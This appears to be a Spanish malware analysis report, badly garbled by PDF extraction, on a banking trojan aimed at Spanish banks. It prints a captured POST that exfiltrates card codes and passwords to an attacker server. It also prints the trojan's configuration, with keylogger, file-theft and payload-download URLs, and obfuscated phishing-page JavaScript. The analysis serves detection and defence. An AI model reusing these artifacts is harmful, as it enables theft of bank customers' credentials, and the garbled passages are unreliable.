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11..  IInnttrroodduucccc iióónn  
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22..  ¿¿QQuuéé  ssoonn  llooss  tt rrooyyaannooss  bbaannccaarr iiooss??  

4�	�
�� (	��	���� 
�� ����	����%	��	����� ���� ��!������ � 	� ��	�
����� ����� 
�� �)
����
�	��������5 	��
��� 6� ����� ��#������ !��	�� ��� ��� 
������ 
�� �	�� �����	�� 
 �� ���� �	�����
����������������������"������������3��������������� �����!��	�����������������
������	�
���
�� � ���� ���	������� �����
��	
��� ����
	
��� �	��	��	��� " ��	� ����	�����.	� 
��
	��
��� ��	���2��(	���
��
������	
	�����	���� ��
������ ��������������	����������
	����	����
���)
����
�����	
��	��!�	�
��
���	�	��	� .	� ��
����� �� ����
�� �
�� ���	 ���
��������

33..  SSeessiióónn  ddee  bbaannccaa  eelleeccttrróónniiccaa  tt rrooyyaanniizzaaddaa  
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=================================================== === 
0:14:09  http://espanhaserver293.freehoxt.com:80  [ 91.194.90.238] 
=================================================== === 
 
POST /good/m23mf82jfm23fms/index/02.php HTTP/1.0 
Accept: */* 
Content-Type: application/x-www-form-urlencoded 
Proxy-Connection: Keep-Alive 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wind ows NT 5.1; SV1) 
Host: espanhaserver293.freehoxt.com 
Pragma: no-cache 
Content-Length: 951 
 
cardsenha50=534&cardsenha49=543&cardsenha48=543&car dsenha47=253&cardsenha46=35
4&cardsenha45=543&cardsenha44=543&cardsenha43=254&c ardsenha42=543&cardsenha41=
543&cardsenha40=543&cardsenha39=542&cardsenha38=543 &cardsenha37=443&cardsenha3
6=325&cardsenha35=254&cardsenha34=543&cardsenha33=4 23&cardsenha32=325&cardsenh
a31=254&cardsenha30=543&cardsenha29=254&cardsenha28 =543&cardsenha27=432&cardse
nha26=543&cardsenha25=543&cardsenha24=543&cardsenha 23=543&cardsenha22=534&card
senha21=543&cardsenha20=544&cardsenha19=543&cardsen ha18=354&cardsenha17=543&ca
rdsenha16=543&cardsenha15=543&cardsenha14=543&cards enha13=543&cardsenha12=543&
cardsenha11=524&cardsenha10=243&cardsenha09=425&car dsenha08=432&cardsenha07=43
2&cardsenha06=245&cardsenha05=543&cardsenha04=543&c ardsenha03=544&cardsenha02=
543&cardsenha01=543&numeroA=&serie=&senha11=4&senha 10=4&senha09=0&senha08=4&se
nha07=0&senha06=7&senha05=N%2EI%2EF%2E&senha04=1981 &senha03=12&senha02=12&senh
a01=123456789 
 
=================================================== === 
�
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44..  DDeettaall lleess  ssoossppeecchhoossooss  
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55..  AAnnááll iiss iiss  ddeell   eejjeemmppllaarr   
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5.1. Entidades afectadas 
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TXT171 
 
###[DOWNLOAD]-> 2 http://203.124.22.143/www.mpf.gov .br/gbf2.dll 
 
[NOTIFY]-> http://spanishnotify.byethost18.com/esno tify/notify.php 
 
###[MSN RETRIEVER]-> 
http://kukakiko.byethost32.com/LISTS/msnclr.php?me= %s&lst= 
 
###[PCID RETRIEVER]-> 
http://brendamaramuniz.lhosting.info/gif/boot/PCID/ fu.php 
 
###[FILES RETRIEVER]-> 
http://brendamaramuniz.lhosting.info/gif/boot/FILES /fu.php 
###[FILES MAX SIZE]-> 100000 
 
###[KEYLOG RETRIEVER]-> 
http://brendamaramuniz.lhosting.info/gif/boot/KLOGS /fu.php 
###[KEYLOG TIMEOUT]-> 20 
 
[CMD][TRACK SITE]-> erro.html 
 
 
 
Index           =       emp01 
SiteReal        =       .lacaixa.es/GPeticiones;Web LogicSession= 
SiteMirror      =       http://www.newmsn.kit.net/i magens/empresa01/ 
AddressBar      =       
https://lo1.lacaixa.es/GPeticiones;WebLogicSession= 9h9dLy4JYFL2hL0Ld7 
StatusText      =       la Caixa 
###GetPCID      =       yes 
###KeyLogger    =       yes 
###RetrieveFiles        =       .crt | .key | .pta 
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###BlockSite    =       http://serv.com/pasta/empre sa01/blocked.htm 
 
Index           =       emp02 
SiteReal        =       
.ingdirect.es/WebTransactional/Transactional/Acceso Entrada.asp 
SiteMirror      =       http://www.newmsn.kit.net/i magens/empresa02/ 
AddressBar      =       
https://www.ingdirect.es/WebTransactional/Transacti onal/AccesoEntrada.
asp 
StatusText      =       ING Direct 
 
Index           =       emp03 
SiteReal        =       .bancopopular.es/AppBPE/ser vlet/ 
SiteMirror      =       http://www.newmsn.kit.net/i magens/empresa03/ 
AddressBar      =       
https://www2..bancopopular.es/AppBPE/servlet/servin ?p_pf=c&p_id=esp 
StatusText      =       GRUPO BANCO POPULAR 
�
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5.2. Técnicas de monitorización de las entidades 
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5.3. Técnicas de captura de credenciales 
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transi tional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitiona l.dtd"> 
<!--hppage status="protected"--> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<HEAD><meta http-equiv="Content-Type" content="text /html; charset=iso-8859-1" /><SCRIPT 
LANGUAGE="JavaScript"><!-- 
document.write(unescape("%3C%53%43%52%49%50%54%20%4 C%41%4E%47%55%41%47%45%3D%22%4A%61%76
%61%53%63%72%69%70%74%22%3E%3C%21%2D%2D%0D%0A%68%70%5F%6F%6B%3D%74%72%75%65%3B%66%75%6E%
63%74%69%6F%6E%20%68%70%5F%64%30%31%28%73%29%7B%69%66%28%21%68%70%5F%6F%6B%29%72%65%74%7
5%72%6E%3B%76%61%72%20%6F%3D%22%22%2C%61%72%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6F%73
%3D%22%22%2C%69%63%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%
2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3C%31%32%3
8%29%63%3D%63%5E%32%3B%6F%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64
%65%28%63%29%3B%69%66%28%6F%73%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%61%72%5B%69%63%2B%2B%
5D%3D%6F%73%3B%6F%73%3D%22%22%7D%7D%6F%3D%61%72%2E%6A%6F%69%6E%28%22%22%29%2B%6F%73%3B%6
4%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%6F%29%7D%2F%2F%2D%2D%3E%3C%2F%53%43%52%49%50
%54%3E"));//--></SCRIPT><SCRIPT LANGUAGE="JavaScrip t"><!-- 
hp_d01(unescape(">QAPKRV%22NCLEWCEG? HctcQapkrv 
%3C>#// �� dwlavkml%22jr]lg*+ypgvwpl%22vpwg%7Fmlgppmp?jr]lg9dw lavkml%22jr]ao*+ypgvwpl%22dc
nqg%7Fdwlavkml%22jr]of*g+yoca?lctkecvmp,wqgpCeglv,k lfgzMd*%25Oca%25+#?/39kd%22*fmawoglv,
cnn+ykd*gtglv,`wvvml??0~~*oca$$*gtglv,avpnIg{~~gtgl v,ig{Amfg??;3+++ypgvwpl%22dcnqg%7F%7F
gnqgykd*g,ujkaj??1~~*oca$$*g,omfkdkgpq??0~~g,avpnIg {+++ypgvwpl%22dcnqg%7F%7F%7Fkd*lctkec
vmp,crrLcog,klfgzMd*%25Klvgplgv%22Gzrnmpgp%25+??/3~ ~*lctkecvmp,wqgpCeglv,klfgzMd*%25OQKG
%25+#?/3$$fmawoglv,cnn,nglevj#?2++ykd*fmawoglv,cnn+ yoca?lctkecvmp,wqgpCeglv,klfgzMd*%25O
ca%25+#?/39tgpqkml?rcpqgDnmcv*%252%25)lctkecvmp,wqg pCeglv,qw`qvp*lctkecvmp,wqgpCeglv,klf
gzMd*%25OQKG%25+)7+.32+9kd*#oca$$tgpqkml%3C6+yfmawo glv,mlamlvgzvoglw?jr]ao%7Fgnqgyfmawog
lv,mlomwqgfmul?jr]of9fmawoglv,mlig{fmul?jr]of%7F%7F gnqg%22kd*fmawoglv,nc{gpq+yuklfmu,acr
vwpgGtglvq*Gtglv,OMWQGFMUL~Gtglv,omfkdkgpq~Gtglv,IG [FMUL+9uklfmu,mlomwqgfmul?jr]of9uklfm
u,mlig{fmul?jr]of%7Fgnqg%22kd*fmawoglv,egvGngoglv@{ Kf$$#fmawoglv,cnn+yfmawoglv,mlamlvgzv
oglw?jr]ao%7F%7Fdwlavkml%22jr]fr3*+ydmp*k?29k>fmawo glv,cnn,nglevj9k))+ykd*fmawoglv,cnnYk
_,qv{ng,tkqk`knkv{#? jkffgl +yfmawoglv,cnnYk_,qv{ng ,tkqk`knkv{? jkffgl 
9fmawoglv,cnnYk_,kf? jr]kf 
%7F%7F%7F9dwlavkml%22jr]fr0*+ydmp*k?29k>fmawoglv,cn n,nglevj9k))+ykd*fmawoglv,cnnYk_,kf?? 
jr]kf +fmawoglv,cnnYk_,qv{ng,tkqk`knkv{?  
%7F%7F9uklfmu,ml`gdmpgrpklv?jr]fr39uklfmu,mlcdvgprp klv?jr]fr09fmawoglv,upkvg*%25>qv{ng%2
2v{rg? vgzv-aqq %22ogfkc? rpklv %3C>#//`mf{yfkqrnc{ 8lmlg%7F//%3C>-qv{ng%3C%25+9--//%3C>-
QAPKRV%3C"));//--></SCRIPT><SCRIPT LANGUAGE="JavaSc ript"><!-- 
hp_d01(unescape(">jgcf%3C ���� >vkvng%3Cklefkpgav,gq>-vkvng%3C �� "));//--></SCRIPT><SCRIPT 
LANGUAGE="JavaScript"><!-- 
hp_d01(unescape(">qapkrv%22v{rg? vgzv-hctcqapkrv %2 2qpa? dncqj,hq %3C>-qapkrv%3C"));//--
></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!-- 
hp_d01(unescape(" �� >qapkrv%22nclewceg? HctcQapkrv %3C �� %22%22tcp%22ogqqceg%22?%22 jvvr8-
-uuu,klefkpgav,gq 
9�� %22%22tcp%22qapmnnQrggf%22?%223229 �� %22%22tcp%22nklgFgnc{%22%22%22?%2229 �� %22%22tcp%2
2vzv%22%22%22%22%22%22%22%22%22?%22  
9���� %22%22dwlavkml%22qapmnnVgzv*rmq+%22y �� %22%22%22%22kd%22*ogqqceg,ajcpCv*rmq+%22#?%22
%25%5C%25+%22y�� %22%22%22%22%22%22vzv%22%22%22%22?%22vzv%22)%22ogqqceg,ajcpCv*rmq+9 �� %22
%22%22%22%22%22qvcvwq%22?%22vzv9�� %22%22%22%22%22%22rcwxg%22%22?%22qapmnnQrggf9�� %22%22%
22%22%7F9�� %22%22%22%22gnqg%22y�� %22%22%22%22%22%22rcwxg%22?%22nklgFgnc{9�� %22%22%22%22%
22%22vzv%22%22%22?%22  
9�� %22%22%22%22%22%22kd%22*rmq%22??%22ogqqceg,nglevj/3 +%22rmq%22?%22)39�� %22%22%22%22%7F
�� %22%22%22%22rmq))9�� %22%22%22%22qgvVkogmwv* qapmnnVgzv*%25 )rmq) %25+ 
.rcwxg+9 �� %22%22%7F�� %22%22�� qapmnnVgzv*2+9 �� --%22//%3C �� >-qapkrv%3C �� >qv{ng%22v{rg? 
vgzv-aqq %3C �� >#// �� `mf{%22y ��  
ocpekl/ngdv8%222rz9 ��  
ocpekl/vmr8%222rz9 ��  
ocpekl/pkejv8%222rz9 ��  
ocpekl/`mvvmo8%222rz9 �� %7F�� //%3C �� >-qv{ng%3C>-jgcf%3C"));//--></SCRIPT></HEAD> 
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<BODY><SCRIPT LANGUAGE="JavaScript"><!-- 
hp_d01(unescape(">`mf{%3C �� >qapkrv%22v{rg? vgzv-hctcqapkrv %3C �� %22%22%22%22EgpcpQUD* 
jvvr8--gqrcljcqgptgp0;1,dpggjmzv,amo-emmf-o01od:0hd o01doq-klfgz-20,qud .665.464. qkvg 
+9�� >-qapkrv%3C �� >-`mf{%3C"));//--></SCRIPT></BODY> 
</html> 
�
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GerarSWF("http://espanhaserver293.freehoxt.com/good /m23mf82jfm23fms/in
dex/02.swf",447,646,"site"); 

+��
���	�!����)��-��	��B=���9�

function GerarSWF($arquivo,$altura,$largura,$id){ 
document.writeln(' <object id="globalnav-object" 
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 " 
codebase="http://download.macromedia.com/pub/shockw ave/cabs/flash/swfl
ash.cab#version=8,0,0,0" width="' + $largura + '" h eight="' + $altura 
+ '" id="' + $id + '" name="' + $id + '">'); 
document.writeln(' <param name="movie" value="' + $ arquivo + '" />'); 
document.writeln(' <param name="allowScriptAccess" value="always" 
/>'); 
document.writeln(' <param name="FlashVars" 
value="loc=en_US&htmlApp=false&gatewayURL=gwurl" /> '); 
document.writeln(' <param name="bgcolor" value="#ff ffff" />'); 
document.writeln(' <param name="menu" value="false"  />'); 
document.writeln(' <param name="quality" value="hig h" />'); 
document.writeln(' <param name="salign" value="tl" />'); 
document.writeln(' <param name="scale" value="nosca le" />'); 
document.writeln(' <param name="wmode" value="trans parent" />'); 
document.writeln(' <embed id="globalnav-embed" src= "' + $arquivo + '" 
allowScriptAccess="always" type="application/x-shoc kwave-flash" 
pluginspage="http://www.macromedia.com/go/getflashp layer" 
wmode="transparent" 
flashvars="loc=en_US&htmlApp=false&gatewayURL=gwurl " bgcolor="#ffffff" 
menu="false" quality="high" salign="tl" scale="nosc ale" id="' + $id + 
'" width="' + $largura + '" height="' + $altura + ' "></embed>'); 
document.writeln(' </object>'); 
} 
�
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http://espanhaserver293.freehoxt.com/good/m23mf82jf m23fms/index/02.swf 
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5.4. Detección antivirus 
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Microsoft  PWS:Win32/Yessim.gen 
eSafe   suspicious Trojan/Worm 
F-Secure  Suspicious:W32/Malware!Gemini 
Panda   Trj/Agent.IVR 
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Webwasher  Trojan.Crypt.XPACK.Gen 
Sophos  Sus/UnkPacker 
BitDefender  Trojan.Peed.Gen 
QuickHeal  (Suspicious) - DNAScan 
AntiVir  TR/Crypt.XPACK.Gen 
Prevx1  Malicious Software 
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